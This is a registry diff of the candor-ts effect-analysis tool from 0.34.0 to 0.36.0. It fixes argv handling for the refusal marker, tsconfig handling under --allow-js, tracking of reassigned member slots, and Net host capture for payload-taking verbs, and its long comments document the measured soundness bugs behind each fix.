candor-ts 0.34.0 → 0.36.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/scan.mjs CHANGED
@@ -35,7 +35,9 @@ import { unverifiedHoleRule, ruleUpgrade, canonicalDenySet, byCodePoint, claimsT
35
35
  import { printAgents, writeStdoutSync, writeSinkAtomic, resolveSinkArtifact, isCandorConfigSink } from "./contract.mjs";
36
36
  import { isTestPath, kappa, kappaKnows, nodeCoreUnreviewed, fsKind, commandHeadEffects, hostLiteral,
37
37
  tablesInSql, modelHostEffects, isModelHost, isModelSdkPackage, netClassesOf,
38
- partnerFor } from "./scan-core.mjs";
38
+ partnerFor, CLOCK_READING_PERFORMANCE_MEMBERS, CLOCK_READING_PROCESS_MEMBERS,
39
+ CLOCK_READING_CONSOLE_MEMBERS, CONNECTING_WEB_CTORS,
40
+ WEB_WIRE_MEMBERS } from "./scan-core.mjs";
39
41
  import { emitSurface } from "./surface.mjs";
40
42
 
41
43
  const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
@@ -46,7 +48,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
46
48
  // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
47
49
  // Reused, never re-littered.
48
50
  const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
49
- const SPEC_VERSION = "0.34";
51
+ const SPEC_VERSION = "0.36";
50
52
 
51
53
  // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
52
54
  //
@@ -205,6 +207,14 @@ const CONFIG_KEYS_IMPLEMENTED = new Set(["policy", "baseline", "deps", "unknown-
205
207
  // It carries its own `prefix` because §3.3.1's direct-file locator accepts any `.json` name whatever its
206
208
  // dot-segments: a consumer handed one file cannot recover the prefix from the filename.
207
209
  let refusalPrefix = null, refusalTarget = null;
210
+ // The flags the parse loop accepts WITHOUT a value. A target may legitimately follow one of these
211
+ // (`candor-ts --json .`), so they are not stopping points; the value-taking flags are skipped by the
212
+ // arm above, and anything else dash-shaped is what that loop calls an unknown flag. `-h`/`-V`/
213
+ // `--help`/`--version` are print-and-exit modes consumed before this walk and are listed for symmetry.
214
+ const KNOWN_VALUELESS_FLAGS = new Set([
215
+ "--agents", "--json", "--allow-js", "--workspace", "--deps", "--dep-inits",
216
+ "--peek-excluded", "-h", "-V", "--help", "--version",
217
+ ]);
208
218
  const noteRefusalPrefix = (pfx) => { if (refusalPrefix === null) refusalPrefix = pfx; };
209
219
  const noteRefusalTarget = (t) => { if (refusalTarget === null) refusalTarget = t; };
210
220
  const writeRefusalMarker = (why) => {
@@ -237,6 +247,7 @@ const clearRefusalMarker = () => {
237
247
  // deleting the question.
238
248
  const preScan = (av) => {
239
249
  let gate = null, policy = null, target = null, out = null, refused = false;
250
+ let stopped = false, markerTarget = null;
240
251
  for (let i = 0; i < av.length; i++) {
241
252
  const a = av[i], v = av[i + 1];
242
253
  if (a === "--gate-json" || a === "--policy" || a === "--out") {
@@ -262,11 +273,23 @@ const preScan = (av) => {
262
273
  i++;
263
274
  continue;
264
275
  }
276
+ // ⟨0.32⟩ A TOKEN THE PARSE LOOP WOULD REFUSE STOPS THE MARKER TARGET, BUT NOT THE GUARD TARGET.
277
+ // The two consumers of this walk want opposite things and used to share one variable. `target`
278
+ // feeds the input GUARDS, where the comment above is right that over-collecting can only protect a
279
+ // file more. `markerTarget` feeds the ⟨0.32⟩ refusal MARKER's prefix, where over-collecting is a
280
+ // WRITE: measured, `candor-ts --scope src` resolved `src` — the rejected flag's operand — and the
281
+ // marker was written to `src/.candor/`, creating that directory in the operator's tree. The parse
282
+ // loop never reaches that token; it refuses at `--scope`. candor-rust had the same defect on a
283
+ // different argv (SOUNDNESS R232); candor-swift writes nothing here and is the shape to match.
284
+ if (a.startsWith("-") && !KNOWN_VALUELESS_FLAGS.has(a)) stopped = true;
265
285
  // The scan TARGET, needed to discover the `.candor/config` whose `policy` key may name an input
266
286
  // this sink must not overwrite.
267
- if (!a.startsWith("-") && target === null) { target = a; noteRefusalTarget(a); }
287
+ if (!a.startsWith("-") && target === null) {
288
+ target = a;
289
+ if (!stopped && !refused) { markerTarget = a; noteRefusalTarget(a); }
290
+ }
268
291
  }
269
- return { gate, policy, target, out };
292
+ return { gate, policy, target, out, markerTarget };
270
293
  };
271
294
 
272
295
  // SPEC §3.3.1 ⟨0.28⟩ — every `--gate-json` this argv names. `preScan` keeps only the last, which is what
@@ -512,7 +535,7 @@ const preGateSink = preScan(argv).gate;
512
535
  // The raw target is used rather than the resolved root: they coincide for a directory target, and being
513
536
  // slightly wrong about WHERE costs a marker nobody reads, while being late costs the marker entirely.
514
537
  {
515
- const preT = preScan(argv).target;
538
+ const preT = preScan(argv).markerTarget;
516
539
  if (preT) { noteRefusalTarget(preT); noteRefusalPrefix(path.join(preT, ".candor", "report")); }
517
540
  }
518
541
  // ⟨0.28⟩ SPEC §3.3.1 (4) — THE SAME RULE ONE HOP UPSTREAM, FOR THE REPORT STREAM. `--json` is the
@@ -1349,9 +1372,39 @@ function withNodeTypes(options) {
1349
1372
  return { ...options, types: [...new Set([...t, "node"])] };
1350
1373
  }
1351
1374
 
1352
- function fromTsconfig(cfgPath, baseDir) {
1375
+ // R91: widen the FILE SET `--allow-js` admits from a tsconfig WITHOUT discarding the tsconfig's other
1376
+ // compiler options (`paths`, `baseUrl`, `strict`, ...) — the bug this replaces bypassed the whole config
1377
+ // the moment the flag was passed, silently losing path-alias resolution for every project that has one.
1378
+ // `admitJs` asks the TypeScript API itself to widen (rule G: ask the authority, never reimplement) rather
1379
+ // than hand-rolling a second file-discovery pass that could disagree with the program `ts.createProgram`
1380
+ // actually builds.
1381
+ function admitJsInConfig(rawConfig) {
1382
+ const cfg = { ...rawConfig, compilerOptions: { ...(rawConfig.compilerOptions ?? {}), allowJs: true } };
1383
+ if (cfg.include === undefined) {
1384
+ // A `files`-only config (no `include` at all) NEVER directory-walks, `allowJs` or not — TypeScript's
1385
+ // own "default to **/*" rule only fires when BOTH `files` and `include` are absent. This is execa's
1386
+ // actual tsconfig at the moment `--allow-js` was introduced (`{"files": ["index.d.ts"]}`, verified
1387
+ // against the real published tsconfig.json at that date) — the tree the flag exists to unblock, where
1388
+ // the config names only a hand-written `.d.ts` and none of the real `.js` implementation. Recover
1389
+ // exactly that shape, and no other.
1390
+ if (cfg.files !== undefined) cfg.include = ["**/*"];
1391
+ } else {
1392
+ // An include pattern that names a TS extension explicitly (`src/**/*.ts`) does not admit `.js`
1393
+ // regardless of `allowJs` — only an extension-LESS pattern (`src`, `src/**/*`, the common template)
1394
+ // widens automatically once `allowJs` is true. Add each such pattern's `.js`-family sibling alongside
1395
+ // it; this is the literal "TS-only tsconfig include" the commit that introduced `--allow-js`
1396
+ // (b68864d) named as its target. An extension-less pattern maps to itself and contributes nothing.
1397
+ const jsSibling = (p) => p.replace(/\.mts$/, ".mjs").replace(/\.cts$/, ".cjs")
1398
+ .replace(/\.tsx$/, ".jsx").replace(/(?<!\.[mc])\.ts$/, ".js");
1399
+ const extra = cfg.include.map(jsSibling).filter((p, i) => p !== cfg.include[i] && !cfg.include.includes(p));
1400
+ if (extra.length) cfg.include = [...cfg.include, ...extra];
1401
+ }
1402
+ return cfg;
1403
+ }
1404
+ function fromTsconfig(cfgPath, baseDir, admitJs = false) {
1353
1405
  const cfg = ts.readConfigFile(cfgPath, ts.sys.readFile);
1354
- const parsed = ts.parseJsonConfigFileContent(cfg.config ?? {}, ts.sys, baseDir);
1406
+ const rawConfig = admitJs ? admitJsInConfig(cfg.config ?? {}) : (cfg.config ?? {});
1407
+ const parsed = ts.parseJsonConfigFileContent(rawConfig, ts.sys, baseDir);
1355
1408
  compilerOptions = withNodeTypes(parsed.options);
1356
1409
  let names = parsed.fileNames;
1357
1410
  // SOLUTION-STYLE configs (`files: [], references: [...]` — hono, most monorepo roots) list no
@@ -1363,7 +1416,8 @@ function fromTsconfig(cfgPath, baseDir) {
1363
1416
  const refPath = ts.resolveProjectReferencePath(ref);
1364
1417
  if (!fs.existsSync(refPath) || isTestPath(path.relative(baseDir, refPath))) continue;
1365
1418
  const sub = ts.readConfigFile(refPath, ts.sys.readFile);
1366
- const subParsed = ts.parseJsonConfigFileContent(sub.config ?? {}, ts.sys, path.dirname(refPath));
1419
+ const subRawConfig = admitJs ? admitJsInConfig(sub.config ?? {}) : (sub.config ?? {});
1420
+ const subParsed = ts.parseJsonConfigFileContent(subRawConfig, ts.sys, path.dirname(refPath));
1367
1421
  if (names.length === 0) compilerOptions = withNodeTypes(subParsed.options);
1368
1422
  names = names.concat(subParsed.fileNames);
1369
1423
  }
@@ -1394,7 +1448,7 @@ const admitsAsSource = (name) =>
1394
1448
  if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1395
1449
  rootDir = path.dirname(path.resolve(target));
1396
1450
  usedTsconfig = path.resolve(target);
1397
- fileNames = fromTsconfig(path.resolve(target), rootDir);
1451
+ fileNames = fromTsconfig(path.resolve(target), rootDir, allowJs);
1398
1452
  } else if (stat.isFile()) {
1399
1453
  rootDir = path.dirname(path.resolve(target));
1400
1454
  // ⟨0.31⟩ A SINGLE-FILE TARGET IS ADMITTED BY THE SAME RULE AS A FILE INSIDE A DIRECTORY, and this
@@ -1413,9 +1467,13 @@ if (stat.isFile() && /tsconfig.*\.json$/.test(path.basename(target))) {
1413
1467
  } else {
1414
1468
  rootDir = path.resolve(target);
1415
1469
  const tsconfig = path.join(rootDir, "tsconfig.json");
1416
- if (fs.existsSync(tsconfig) && !allowJs) {
1470
+ // R91: a tsconfig is used WHENEVER one exists, `--allow-js` or not — the flag used to take the `else`
1471
+ // branch unconditionally, discarding `paths`/`baseUrl`/every other compiler option along with `include`.
1472
+ // `fromTsconfig`'s own `admitJs` parameter (below) is what widens the file set now; this condition no
1473
+ // longer decides between "read the tsconfig" and "ignore it".
1474
+ if (fs.existsSync(tsconfig)) {
1417
1475
  usedTsconfig = tsconfig;
1418
- fileNames = fromTsconfig(tsconfig, rootDir);
1476
+ fileNames = fromTsconfig(tsconfig, rootDir, allowJs);
1419
1477
  } else {
1420
1478
  fileNames = [];
1421
1479
  (function walk(d) {
@@ -2332,7 +2390,21 @@ const ALIAS_HOPS = 16;
2332
2390
  *
2333
2391
  * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
2334
2392
  * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
2335
- * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
2393
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely.
2394
+ *
2395
+ * ⟨R103⟩ MEMBER WRITES GO IN THE SAME SET, because they are the same question. `this.h = evil` and
2396
+ * `C.h = evil` make `h`'s value not its initializer for exactly the reason `send = fetch` does, and
2397
+ * `openCallSlot` below is the reader. One set, not two: this rule already had one private copy too many
2398
+ * once (see `unaliasGlobal`'s "DEFINED ONCE, ON PURPOSE"), and a second implementation of "is this
2399
+ * binding written anywhere" is how the next spelling gets missed.
2400
+ *
2401
+ * WHAT THIS DOES TO THE ALIAS UNWRAP, stated as the assumption it is rather than as a guarantee. The
2402
+ * unwrap only ever looks up symbols of IDENTIFIER bindings, so it sees a member symbol in exactly one
2403
+ * situation: a bare identifier and a member write denote the SAME binding — `export namespace N { export
2404
+ * let h = fetch; } N.h = evil;` — and there the extra entry is the right answer, because `h` really was
2405
+ * written. It cannot fire on a mere NAME collision: `let send = fetch; obj.send = x; send(url)` targets
2406
+ * two different symbols and `send` still resolves to Net (fixture in test.mjs, and it goes red if the
2407
+ * set is keyed on text instead of symbols). */
2336
2408
  const reassignedCache = new WeakMap();
2337
2409
  const reassignedIn = (sf) => {
2338
2410
  let set = reassignedCache.get(sf);
@@ -2340,7 +2412,7 @@ const reassignedIn = (sf) => {
2340
2412
  set = new Set();
2341
2413
  const walk = (n) => {
2342
2414
  if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
2343
- && ts.isIdentifier(n.left)) {
2415
+ && (ts.isIdentifier(n.left) || ts.isPropertyAccessExpression(n.left))) {
2344
2416
  const sym = checker.getSymbolAtLocation(n.left);
2345
2417
  if (sym) set.add(sym);
2346
2418
  }
@@ -2350,6 +2422,35 @@ const reassignedIn = (sf) => {
2350
2422
  reassignedCache.set(sf, set);
2351
2423
  return set;
2352
2424
  };
2425
+ // R130 — THE CLASS NAME A CONSTRUCT SIGNATURE DECLARES. Both `@types/node`'s `undici-types` and lib.dom
2426
+ // spell a constructible global as `declare (var|const) X: { prototype: X; new (…): X }`, so the resolved
2427
+ // declaration for a construction is a ConstructSignature with NO `.name`, sitting inside an ANONYMOUS type
2428
+ // literal. Every name-keyed branch in the classifier therefore sees `""` for it. The authority for the
2429
+ // identity is the binding the type literal belongs to: ConstructSignature -> TypeLiteral -> Variable-
2430
+ // Declaration. Returns "" for a `class`-declared constructor (whose parent is a ClassDeclaration) and for
2431
+ // anything else, so a caller can treat "" as "this mechanism cannot answer".
2432
+ //
2433
+ // R136 — …AND THE INTERFACE SPELLING, which is the second half of the same question. The lib files use
2434
+ // BOTH shapes for a constructible global: `declare var WebSocket: { new (…): WebSocket }` (an anonymous
2435
+ // type literal) and `declare var Date: DateConstructor; interface DateConstructor { new (): Date }` (a
2436
+ // NAMED interface). Only the first was walked, so every declaration-keyed branch saw `""` for the second
2437
+ // and a `Date` reached through an inherited constructor could not be named. Both parents are the binding
2438
+ // the construct signature belongs to; which one the lib author chose is not a fact about the program.
2439
+ // Still returns "" for a `class`-declared constructor (parent is a ClassDeclaration) and for anything
2440
+ // else. Callers use the answer ONLY to ADD a name to a denylist they already hold, never to remove one,
2441
+ // so widening the walk can over-charge and can never silence.
2442
+ function declaredCtorClassName(decl) {
2443
+ const owner = decl && decl.parent;
2444
+ if (owner && ts.isInterfaceDeclaration(owner)) {
2445
+ return owner.name && ts.isIdentifier(owner.name) ? owner.name.text : "";
2446
+ }
2447
+ const vd = owner && ts.isTypeLiteralNode(owner) ? owner.parent : null;
2448
+ return vd && ts.isVariableDeclaration(vd) && vd.name && ts.isIdentifier(vd.name) ? vd.name.text : "";
2449
+ }
2450
+ // R130 — `super(...)`. It is a CallExpression, not a NewExpression, so `ts.isNewExpression` is false and
2451
+ // `decl` is the BASE's construct signature — the shape `declaredCtorClassName` exists to read.
2452
+ const isSuperCall = (node) =>
2453
+ ts.isCallExpression(node) && node.expression.kind === ts.SyntaxKind.SuperKeyword;
2353
2454
  const unaliasGlobal = (expr) => {
2354
2455
  let hop = 0;
2355
2456
  for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
@@ -2745,6 +2846,30 @@ function programHeadLiteral(node) {
2745
2846
  // options in the other overloads) — so those two members read arg0-or-arg1. Only STRING-LITERAL positions
2746
2847
  // are considered; returns null when the URL slot is not a static string literal — the safe direction.
2747
2848
  const NET_URL_ARG1_MEMBERS = new Set(["connect", "createConnection"]);
2849
+ // R130 — THE Net USE-VERBS, whose argument 0 is the PAYLOAD and never an endpoint. ⟨0.29⟩ fixed exactly
2850
+ // this class in three of the four locator surfaces — `programHeadLiteral` for `Exec`, `fsPathLiteral` for
2851
+ // `Fs`, the SQL slot for `Db` — and in `Net` it fixed only the POSITION (`fetch(runtimeUrl, "literal")`)
2852
+ // and the ONE verb whose position is neither first nor second (dgram `send`). The whole-module `net`
2853
+ // rule classifies every non-exempt member `Net`, so `write`/`end` arrive here with their payload at
2854
+ // position 0 and fell through to `litAt(0)`. MEASURED on PUBLISHED candor-ts 0.34.0, in isolation:
2855
+ //
2856
+ // export function w(s: net.Socket) { s.write("api.example.com"); }
2857
+ // -> inferred ["Net"], hosts ["api.example.com"], NO `incomplete`
2858
+ // -> `allow Net in src api.example.com` => policy ✓, exit 0
2859
+ //
2860
+ // over a socket whose destination this scan never saw. A fabricated destination masking an invisible one
2861
+ // — the dgram defect verbatim, one verb over, and it survived because `netEstablishing` (which already
2862
+ // excludes use-calls, and whose comment says so: *"NEVER use-calls (write/end/non-dgram send)"*) governs
2863
+ // only the `incomplete` branch and was never consulted by the CAPTURE branch. Two paths, one question.
2864
+ //
2865
+ // FAILURE DIRECTION: this is a list of verbs whose capture is SUPPRESSED, so a verb missing from it keeps
2866
+ // today's behaviour (still fabricates) and a verb wrongly IN it loses a host literal — which removes an
2867
+ // `allow`-list certification and can never add one. Forgetting an entry under-fixes; it cannot
2868
+ // under-report an effect, because `Net` itself is charged by κ either way and is untouched here.
2869
+ // Only verbs whose argument 0 is a STRING PAYLOAD are listed: `destroy`/`cork`/`ref` take no string and
2870
+ // cannot fabricate, so naming them would be decoration. `pipeline` is deliberately ABSENT — undici's
2871
+ // `pipeline(url, opts, handler)` really does put the URL first.
2872
+ const NET_USE_VERBS = new Set(["write", "end", "send", "emit", "push", "unshift"]);
2748
2873
  // ⟨0.29⟩ dgram's `send` puts the DESTINATION ADDRESS at position 2 or 4, and position 0 is the MESSAGE.
2749
2874
  // Falling through to `litAt(0)` read the payload as the endpoint: MEASURED,
2750
2875
  // `sock.send("telemetry.example", 0, 17, 53, dst)` published `hosts: ["telemetry.example"]` with NO
@@ -2916,6 +3041,9 @@ function urlArgLiteral(node, member, mod) {
2916
3041
  const i = dgramSendAddressIndex(args);
2917
3042
  return i < 0 ? null : litAt(i);
2918
3043
  }
3044
+ // R130 — a USE-VERB names no endpoint (NET_USE_VERBS). Asked AFTER dgram's `send`, which is the one
3045
+ // spelling of `send` that does carry a destination, so that rule keeps its own answer.
3046
+ if (member && NET_USE_VERBS.has(member)) return null;
2919
3047
  return litAt(0);
2920
3048
  }
2921
3049
  // Is arg0 a RUNTIME STRING expression whose host can't be known statically — a template, a string
@@ -3082,7 +3210,7 @@ const classOverrides = new Map();// base-method MemberDeclaration node -> overri
3082
3210
  const classDescendants = new Map();// base ClassDeclaration -> transitive LOCAL subclass ClassDeclarations (coercion-CHA)
3083
3211
  // `Object.defineProperty(target, key, { get/set })` runtime accessors (the silent-pure defineProperty
3084
3212
  // hole): the TS checker types `target.key` as a plain DATA property (defineProperty is a runtime
3085
- // construct), so `accessorAt` finds no get-accessor and the forcing site `target.key` reads
3213
+ // construct), so `accessorsAt` finds no get-accessor and the forcing site `target.key` reads
3086
3214
  // silent-pure. We index, keyed by the TARGET's symbol → key string → { get, set } descriptor function
3087
3215
  // node, every such accessor seen in the project. The forcing-site arm consults this when the type-level
3088
3216
  // accessor resolution comes up empty (precise edge when target+key resolve; else honest Unknown).
@@ -3803,6 +3931,115 @@ function resolveFnRefUnit(refNode, depth = 0) {
3803
3931
  return null;
3804
3932
  }
3805
3933
 
3934
+ /** ⟨R103⟩ A CALL THROUGH A WRITABLE SLOT IS NOT A CALL TO THAT SLOT'S INITIALIZER.
3935
+ *
3936
+ * `class Sink { handler = pureDefault; fire() { return this.handler(); } }` — the checker types
3937
+ * `handler` as `typeof pureDefault`, so `getResolvedSignature` hands `visitCalls` the FunctionDeclaration
3938
+ * and the call edges to it. MEASURED on published 0.34.0 (SOUNDNESS R103): the whole report was
3939
+ * `functions: []`, and `deny Fs`, `deny Unknown`, `pure`, `deny Unknown src.lib.Sink.fire` and
3940
+ * `pure src.lib.Sink.fire` ALL exited 0 while a consumer doing `s.handler = () => fs.writeFileSync(…);
3941
+ * s.fire()` really did write the file (executed, not reasoned). The mirror direction was live too:
3942
+ * `private h = fsThing; constructor(){ this.h = () => "x"; } fire(){ return this.h(); }` charged the
3943
+ * caller Fs off a slot that by then held a pure arrow — a POSITIVE WRONG claim, not just silence.
3944
+ *
3945
+ * NEITHER is a new question. `reassignedIn` above already states the rule, one function away, for the
3946
+ * identifier spelling: "ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is
3947
+ * available, so say so." This routes the member spelling onto that same rule and adds the one thing a
3948
+ * member has that a local does not: a slot can be written by code this scan never sees.
3949
+ *
3950
+ * A METHOD IS NOT A SLOT, and that is the line. `fire(){…}` declares flesh; `handler = …` declares a
3951
+ * storage location that happens to be seeded with flesh. `Sink.prototype.fire = evil` is also legal JS,
3952
+ * but treating every method call as Unknown answers nothing about any program; treating a member whose
3953
+ * declaration is a *slot* as Unknown is the ⟨0.19⟩ callback posture this engine already takes for
3954
+ * `handler: () => string = pureDefault` — which, MEASURED at HEAD, correctly yields
3955
+ * `Unknown[callback:…]`. The only thing separating the two spellings today is whether the author wrote a
3956
+ * type annotation. That is not a fact about who can write the slot.
3957
+ *
3958
+ * WHAT COUNTS AS CLOSED — one exemption, and it is measured, not stylistic:
3959
+ * · `private` / `#` AND never written in its own file ⇒ CLOSED, resolves precisely as before. A
3960
+ * private member can only be written from inside its own class body, so its own source file is a
3961
+ * complete view of the writes — the same locality `reassignedIn` already relies on.
3962
+ * · everything else ⇒ OPEN. `public`, `protected` (a subclass outside this scan writes it), `static`,
3963
+ * and — deliberately — `readonly`.
3964
+ *
3965
+ * `readonly` IS NOT CLOSED, and this was measured rather than argued (tsc 6.0.3, exit 0, executed):
3966
+ * readonly-ness is not part of property assignability, so `const w: { handler: () => string } = r;
3967
+ * w.handler = evil;` compiles with NO cast and NO `any`, and `r.fire()` then returns the attacker's
3968
+ * value. The same widening against a `private` member is a hard error (TS2322). So the type system
3969
+ * enforces `private` and does not enforce `readonly`; only the enforced one may narrow a sound
3970
+ * over-approximation (denylist-over-allowlist).
3971
+ *
3972
+ * THE `private` EXEMPTION IS AN ASSUMPTION, NOT A GUARANTEE, and is worded that way on purpose: `private`
3973
+ * is erased at emit, so a JavaScript consumer, `(s as any).h = …`, or `Object.defineProperty` writes it
3974
+ * regardless. The exemption says candor models the DECLARED interface. It is kept because dropping it
3975
+ * costs the precision this engine's `private envField = () => process.env.HOME` control depends on, and
3976
+ * because a cast is a deliberate act of defeating the declaration — not because the slot is unwritable.
3977
+ *
3978
+ * Returns null for a closed slot (caller resolves exactly as before), else a short callee text for the
3979
+ * `callback:` reason. */
3980
+ // THE HIT COUNTER IS PART OF THE FIX, not scaffolding. An A/B that comes back byte-identical says
3981
+ // nothing until you can show the corpus REACHED the changed branch (AGENT-CORPUS-BRIEF §E1 — four rows
3982
+ // in one day reported a clean zero-diff over corpora that contained none of the shape). `CANDOR_R103_HITS=1`
3983
+ // prints one line per slot kind to stderr, so the next person measuring this does not have to re-add it.
3984
+ const R103_HITS = process.env.CANDOR_R103_HITS ? new Map() : null;
3985
+ const r103Hit = (k) => { if (R103_HITS) R103_HITS.set(k, (R103_HITS.get(k) ?? 0) + 1); };
3986
+ if (R103_HITS) process.on("exit", () => {
3987
+ const rows = [...R103_HITS].sort();
3988
+ process.stderr.write(`R103-HITS total=${rows.reduce((a, [, n]) => a + n, 0)}`
3989
+ + rows.map(([k, n]) => ` ${k}=${n}`).join("") + "\n");
3990
+ });
3991
+ function openCallSlot(node) {
3992
+ if (!ts.isCallExpression(node)) return null; // `new X()` constructs a class, not a slot
3993
+ let callee = node.expression;
3994
+ while (ts.isParenthesizedExpression(callee)) callee = callee.expression;
3995
+ // ELEMENT ACCESS IS THE SAME SLOT BY ANOTHER SPELLING, and it is here because the first draft of this
3996
+ // comment asserted the opposite — "an element access already reaches the dynamic-key/`callback:` arms"
3997
+ // — and that was FALSE when measured: `this["handler"]()` and `this[k]()` (k narrowed to the literal
3998
+ // key) both read `["Fs"]` with no Unknown, through the identical open slot. An assertion written by the
3999
+ // commit that needs it to be true is the most expensive kind, so it was checked instead of believed.
4000
+ if (!ts.isIdentifier(callee) && !ts.isPropertyAccessExpression(callee)
4001
+ && !ts.isElementAccessExpression(callee)) return null;
4002
+ // The SLOT's own symbol — deliberately NOT `realDecl`, which follows aliases through to the target and
4003
+ // is exactly the hop that loses the question. `getSymbolAtLocation` returns undefined for an element
4004
+ // access (MEASURED, which is why the first attempt at the branch above silently did nothing), so the
4005
+ // member is looked up on the RECEIVER's type by the key's own string-literal TYPE — that covers both
4006
+ // `this["handler"]` and `this[k]` where `k: "handler"`, and yields nothing for a genuinely dynamic key,
4007
+ // which is right: that call is already `Unknown` through the dynamic-key arm.
4008
+ const sym = ts.isElementAccessExpression(callee)
4009
+ ? (() => {
4010
+ const kt = callee.argumentExpression && checker.getTypeAtLocation(callee.argumentExpression);
4011
+ const key = kt && kt.isStringLiteral?.() ? kt.value : null;
4012
+ const rt = checker.getTypeAtLocation(callee.expression);
4013
+ return key && rt ? checker.getPropertyOfType(rt, key) : undefined;
4014
+ })()
4015
+ : checker.getSymbolAtLocation(callee);
4016
+ const d = sym?.valueDeclaration ?? sym?.declarations?.[0];
4017
+ if (!d) return null;
4018
+ // THE JS/CommonJS SPELLING OF THE SAME SLOT, and it is not a guess about JavaScript — both forms were
4019
+ // EXECUTED against a real `require()` consumer: `module.exports.handler = evil; lib.fire()` returned
4020
+ // the attacker's value, and so did `s.handler = evil2` against a constructor-assigned instance field.
4021
+ // The checker gives these no PropertyDeclaration at all: `this.h = f` in a constructor synthesises a
4022
+ // symbol whose valueDeclaration is the BinaryExpression, and `module.exports.h = f` / `exports.h = f`
4023
+ // one whose only declaration is the PropertyAccessExpression. There is nothing to exempt — JavaScript
4024
+ // has no `private` (a `#` field is a PropertyDeclaration and goes down the branch below), and the
4025
+ // declaration IS a write, so the `reassignedIn` question is answered before it is asked.
4026
+ if (ts.isBinaryExpression(d) || ts.isPropertyAccessExpression(d)) {
4027
+ r103Hit("js-expando");
4028
+ return callee.getText().replace(/\s+/g, "").slice(0, 60);
4029
+ }
4030
+ if (!ts.isPropertyDeclaration(d)) return null;
4031
+ const flags = ts.getCombinedModifierFlags(d);
4032
+ const encapsulated = !!(flags & ts.ModifierFlags.Private)
4033
+ || (d.name && ts.isPrivateIdentifier(d.name));
4034
+ const written = !!sym && reassignedIn(d.getSourceFile()).has(sym);
4035
+ if (encapsulated && !written) return null; // CLOSED — see the exemption above
4036
+ r103Hit(encapsulated ? "private-written"
4037
+ : (flags & ts.ModifierFlags.Static) ? "static"
4038
+ : (flags & ts.ModifierFlags.Protected) ? "protected"
4039
+ : (flags & ts.ModifierFlags.Readonly) ? "readonly" : "public");
4040
+ return callee.getText().replace(/\s+/g, "").slice(0, 60);
4041
+ }
4042
+
3806
4043
  // Unwrap a `<ref>.bind(…)` partial-application chain to the underlying function-reference RECEIVER.
3807
4044
  // `setTimeout(this.flush.bind(this), 0)` / `effFs.bind(null)` / `cb.bind(null,a).bind(null,b)` schedule the
3808
4045
  // BOUND function, but the argument node is a CallExpression (callee = PropertyAccessExpression `.bind`), so
@@ -3831,6 +4068,240 @@ function unwrapBind(node, depth = 0) {
3831
4068
  return { ref: (ts.isIdentifier(recv) || ts.isPropertyAccessExpression(recv)) ? recv : null };
3832
4069
  }
3833
4070
 
4071
+ // ⟨0.35, PART 87 fix⟩ STRUCTURAL / SYNTHESISED INTERFACE IMPLEMENTORS — the candidate-set-completion
4072
+ // half of "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE" (SPEC ⟨0.35⟩). `interfaceImpls` above only
4073
+ // ever registers a NOMINAL `class X implements Y`. The dispatch site below (the interface-CHA fanout)
4074
+ // reads `interfaceImpls.get(iface)` as though it were the WHOLE candidate set: once it is non-empty it
4075
+ // requires every entry's member to resolve and, if so, calls the dispatch COMPLETE and suppresses
4076
+ // Unknown. A value actually produced by a STRUCTURAL conformer — an object literal, a class EXPRESSION,
4077
+ // a bound method reference, `Object.assign`'s result — was invisible to that registry, so adding one
4078
+ // unrelated NOMINAL implementor flipped `allResolved` true over a candidate set that was never complete.
4079
+ // MEASURED on the published 0.34.0 artifact (PART 87): the calling function VANISHED from `functions[]`
4080
+ // entirely — no effects, no Unknown, no disclosure.
4081
+ //
4082
+ // This pass registers every LOCALLY VISIBLE structural implementor into the SAME `interfaceImpls` map,
4083
+ // mixed with nominal classes. That claim needs a name for every consumer, not an assertion: the ordinary
4084
+ // interface-CHA dispatch site (`cls.members ?? cls.properties ?? []`) DOES handle a structural entry —
4085
+ // it was written that way in this same commit. Two others did not, both corrected 2026-09-01 after this
4086
+ // commit shipped and both MEASURED, not assumed clean the way this paragraph used to read:
4087
+ // `coercionChaClasses`'s consumer `localClassMember` read only `cur.members`, so a structural
4088
+ // implementor's coercion member (e.g. an object-literal `toString`) was silently invisible — see its own
4089
+ // comment for the fixture that reproduced it — and the workspace-chain union's `c.name?.text` silently
4090
+ // drops any implementor with no `.name` (every structural one), which could publish "pure across all
4091
+ // impls" when an unnamed implementor was not — see the `hadUnnamed` comment below for the fix. Detection
4092
+ // is via the CHECKER'S OWN contextual typing, not a hand-rolled shape matcher:
4093
+ // whatever a structurally-typed value flows INTO — a plain reassignment, an array-literal element, a
4094
+ // Map-literal tuple, a call argument — `checker.getContextualType` already resolves against that slot's
4095
+ // declared type, union-decomposed the same way the nominal branch decomposes a heritage clause. Two
4096
+ // shapes defeat plain contextual typing on the value itself and are climbed explicitly: `Object.assign`
4097
+ // — a well-known global whose own CALL keeps the real contextual type; its arguments read an anonymous
4098
+ // `__object`. `Object.assign`'s climb is sound because the LANGUAGE, not a type match, guarantees it: a
4099
+ // value passed to it really does end up on the object the expression evaluates to, whether it is the
4100
+ // mutated target or a source whose own enumerable properties are copied across by reference.
4101
+ //
4102
+ // A single-type-parameter `T -> T` "identity wrapper" (`function wrap<T>(x: T): T { … }`) was climbed
4103
+ // here too, originally on the theory that a signature spelling the SAME bare type-parameter name on both
4104
+ // sides PROVES the function returns its argument unchanged. It does not: TypeScript's structural type
4105
+ // system certifies that `wrap`'s return type is ASSIGNABLE to its parameter type, never that the
4106
+ // returned VALUE is the same value — a memoizing cache, a logging decorator, or a wrapper that fabricates
4107
